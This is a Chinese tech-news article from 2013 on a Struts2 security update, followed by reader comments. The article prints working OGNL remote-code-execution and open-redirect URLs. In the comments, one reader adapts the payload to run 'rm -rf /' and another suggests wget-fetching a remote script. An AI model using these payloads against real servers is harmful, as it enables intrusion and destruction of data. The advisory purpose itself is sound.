资讯频道 → 企业架构
阅读更多

39顶
4踩

企业架构

原创新闻 Struts2被曝重要漏洞，波及全系版本

2013-07-17 11:31 by 副主编 wangguo 评论(59) 有77449人浏览
Struts Apache SSH Java 框架

声明：ITeye资讯文章的版权属于ITeye网站所有，严禁任何网站转载本文，否则必将追究法律责任！

Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下：

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀，以实现远程代码执行，如下： 

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀，以实现开放式重定向，如下： 

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息：

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支，需要注意，该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址：http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
顶
4
踩
评论 共 59 条 请登录后发表评论
19 楼 yixiandave 2013-07-18 16:16
我能执行shell命令 你说危害严重不
sweat89 写道


如果是怕通过 http 方式执行 shell 而认为这个漏洞很可怕，那么我并不这样认为。我不用 root 用户来启动 web 容器，而会用普通用户来启动。我只会给这个普通用户访问 web 应用程序的只读权限，其它目录不给任何权限。那么，rm -rf / 就根本没法执行了。

由于我孤陋寡闻，我并不了解这次的漏洞到底会对服务器造成何种致命的影响。

wget http://xxx.com/xxx.sh
然后就可以干很多奇怪的事情了
哪怕没有权限执行一个poweroff或者reboot也可以玩的吧
18 楼 hamber 2013-07-18 16:04
为什么我做第一个action的实验不成功能？谁能给个成功的注入URL啊，
17 楼 aegean008 2013-07-18 15:35
安全漏洞还真是麻烦。
内网系统还好，公网就麻烦了
16 楼 zachary.guo 2013-07-18 15:18
我能执行shell命令 你说危害严重不

如果是怕通过 http 方式执行 shell 而认为这个漏洞很可怕，那么我并不这样认为。我不用 root 用户来启动 web 容器，而会用普通用户来启动。我只会给这个普通用户访问 web 应用程序的只读权限，其它目录不给任何权限。那么，rm -rf / 就根本没法执行了。

由于我孤陋寡闻，我并不了解这次的漏洞到底会对服务器造成何种致命的影响。
15 楼 yixiandave 2013-07-18 15:06
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


吓尿。。。
14 楼 ahack 2013-07-18 14:01
我的文章上首页了....
13 楼 814687491 2013-07-18 13:25
什么时候能出一个安全的版本啊！
12 楼 Road 2013-07-18 13:12
我能执行shell命令 你说危害严重不
sweat89 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

哦，，开放式重定向攻击

11 楼 actionabc 2013-07-18 11:16
Struts2漏洞无穷无尽啊，刚升级到2.3.14又来……
无力吐槽
10 楼 神之小丑 2013-07-18 10:42
这个 是影响到2.0的全部版本么？
9 楼 skmbw 2013-07-18 09:44
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


1、重定向之后，应用会被堵死。
2、如果可以执行任意代码，又是另一个严重的问题。
8 楼 skmbw 2013-07-18 09:38
struts2的安全更新太多了
7 楼 mlw2000 2013-07-18 06:34
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}

6 楼 sweat89 2013-07-17 21:47
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

哦，，开放式重定向攻击
5 楼 sweat89 2013-07-17 21:31
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么
4 楼 sweat89 2013-07-17 21:30
谁解释下这个漏洞啊，没感觉有什么危害啊
3 楼 fair_jm 2013-07-17 13:46
xiaokang1582830 写道
才多长时间又测试出安全漏洞了，更新也太快了点吧

漏洞:http://zone.wooyun.org/content/5159
试了下基本补上了 我这边语句运行不了了 redirect也不会被运行了 差不多堵上了.
2 楼 perzer 2013-07-17 13:38
详见乌云说明：http://zone.wooyun.org/content/5159
1 楼 xiaokang1582830 2013-07-17 13:05
才多长时间又测试出安全漏洞了，更新也太快了点吧

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析，漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前，存在着严重的安全漏洞，如果现在一些比较大的网站是用JAVA做的，没有把版本升级，还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞？ JFrog Xray 帮你扫描漏洞，并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬，阿里云也发布了一则告警，提示 Struts 2存在高危漏洞，距离上一次 Struts2漏洞报出也就是半年前，于是我决定研究下漏洞形成的原理，后来的事实证明，收获不小！ ...

  • Struts2重要漏洞

    转载： Struts2被曝重要漏洞，波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司，Struts2的流通性太大了，导致很多人关注它，很多人都搞它，漏洞也发现得快，不过反过来想想，有这么多人关注，一点会很快的茁壮成长的吧。不过再这样一而再，再而三的来漏洞，大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈（上）

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始，乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目，它采用MVC模式，帮助 java 开发者利用J2EE开发Web...

  • 中式汉堡市场调研报告：2023年市场规模约为1890亿元

    汉堡市场调研报告：2023年市场规模约为1890亿元 在快节奏的现代生活中，汉堡以其便捷、快速且标准化的特点，成为了大众日常饮食的重要选择。然而，随着消费者对健康、口味和文化认同感的追求日益提升，传统西式汉堡已难以满足所有消费者的需求。在此背景下，中式汉堡应运而生，以其独特的口味和文化内涵，迅速赢得了市场的青睐。那么，中式汉堡市场究竟蕴含着怎样的增长潜力？又该如何把握这一市场机遇呢？ 市场概况： 近年来，中国西式快餐市场规模持续扩大，2023年已达到约3687.8亿元。其中，汉堡作为西式快餐的代表之一，市场规模约为1890亿元，占据了西式快餐最大的市场份额。值得注意的是，中式汉堡品牌异军突起，凭借其独特的口味和文化内涵，迅速在市场上站稳脚跟。截至2024年11月，全国中式汉堡门店数已近2万家，展现出强劲的增长势头。 技术创新与趋势： 中式汉堡的成功，离不开技术创新和趋势把握。一方面，中式汉堡品牌通过结合中式烹饪方式，推出了更符合中国消费者口味的产品，如加入秘制酱料、使用传统烹饪技艺等，使汉堡更加美味可口。另一方面，中式汉堡品牌还注重数智化转型，通过运用大数据、人工智能等先进技术，实现精

  • 基于MATLAB的导航科学计算库

    * GPS IMU经典15维ESKF松组合 * VRU/AHRS姿态融合算法 * 捷联惯导速度位置姿态解算例子 * UWB IMU紧组合融合 * 每个例子自带数据集

  • Docker以及Docker-Compose的安装与卸载

    Docker以及Docker-Compose的安装与卸载 适合开发下运维人员学习

  • 尚硅谷宋红康C语言精讲.zip

    尚硅谷宋红康C语言精讲.zip

  • matlab实现基于多源信息融合的水果虫灾智能检测系统研究-虫灾检测-智能检测系统-matlab-机器学习

    内容概要：本文提出了一种结合生物信息学、遥感技术和物联网技术的水果虫灾智能检测系统。通过收集和分析生物标志物、遥感影像和传感器数据，利用机器学习算法实现对虫灾的自动识别与预警，提高检测的准确性和时效性，为水果种植业的可持续发展提供支持。 适合人群：农业科学家、农艺师、农业技术开发人员。 使用场景及目标：适用于水果种植园的虫害监控，帮助农民及时发现和控制虫灾，减少农业生产损失。 其他说明：该系统不仅提高了虫灾检测的效率，还在一定程度上解决了传统方法耗时费力、准确性低的问题。系统未来将优化数据处理方法、提取更多有效特征，并尝试应用到其他农业领域。

  • 南平市2005-2024年近20年历史气象数据下载

    南平市2005-2024年近20年的历史气象数据，每3小时更新一次数据，参数包含气温、气压、降水量、云层、能见度、风向、湿度等，几万条数据

  • 数据结构上机实验大作业-线性表选题.zip

    数据结构上机实验大作业-线性表选题.zip

  • 弱电人需要的网络基础知识汇总.docx

    弱电人需要的网络基础知识汇总.docx

Global site tag (gtag.js) - Google Analytics